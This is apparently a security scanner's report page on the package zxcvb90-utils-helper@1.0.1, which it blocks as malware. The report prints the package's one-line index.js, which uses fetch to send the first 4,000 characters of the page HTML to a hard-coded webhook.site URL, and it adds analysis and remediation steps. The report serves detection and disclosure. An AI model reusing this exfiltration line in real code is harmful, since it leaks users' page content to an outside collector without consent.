registry / Data exfiltration / zxcvb90-utils-helper
zxcvb90-utils-helper
This report shows the evidence for zxcvb90-utils-helper@1.0.1. 1 of 2 known versions is blocked or flagged. See all versions.
AI Security Review
scanned 8d ago · by lpm-firewall-aiThe entrypoint performs an unconditional transfer of page content to a fixed external collector. This supports blocking the package for data exfiltration.
Static reason
No blocking static signals were detected.
Trigger
The entrypoint runs in an environment where fetch and document are available.
Impact
Page content may be disclosed to the collector without a consent check.
Mechanism
It URL-encodes and sends the first 4,000 characters of the document HTML to a hard-coded webhook.site URL.
Attack narrative
When the package entrypoint runs in a browser-compatible environment, it sends a portion of the current page HTML to a fixed external endpoint. The manifest identifies this file as the entrypoint; no consent guard appears in the send operation.
AI rationale
The entrypoint performs an unconditional transfer of page content to a fixed external collector. This supports blocking the package for data exfiltration.
Evidence
package.jsonindex.js
Network endpoints1
webhook.site/ce5b0917-ae74-44c3-8a62-8a4e5003d44d
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest sets index.js as the package entrypoint and declares no install lifecycle hook.
- Running index.js sends the document’s first 4,000 characters to a fixed webhook.site endpoint without a visible consent check.
Evidence against
Behavioral surface
Network
HighEntropyStringsTrivialUrlStrings
NoLicense
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
1{
"name": "zxcvb90-utils-helper",
"version": "1.0.1",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"type": "commonjs",
"dependencies": {
"zxcvb90-utils-helper": "^0.0.0-stage"
}
}
High
Suspicious Lifecycle Evidence
The manifest sets index.js as the package entrypoint and declares no install lifecycle hook.
package.jsonView on unpkg · L1index.jsView file
1fetch('https://webhook.site/ce5b0917-ae74-44c3-8a62-8a4e5003d44d?h=' + encodeURIComponent(document.documentElement.outerHTML.slice(0,4000)));
High
Ai Review Evidence
Running index.js sends the document’s first 4,000 characters to a fixed webhook.site endpoint without a visible consent check.
index.jsView on unpkg · L1Findings
2 High1 Medium4 Low
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to zxcvb90-utils-helper@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing zxcvb90-utils-helper@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.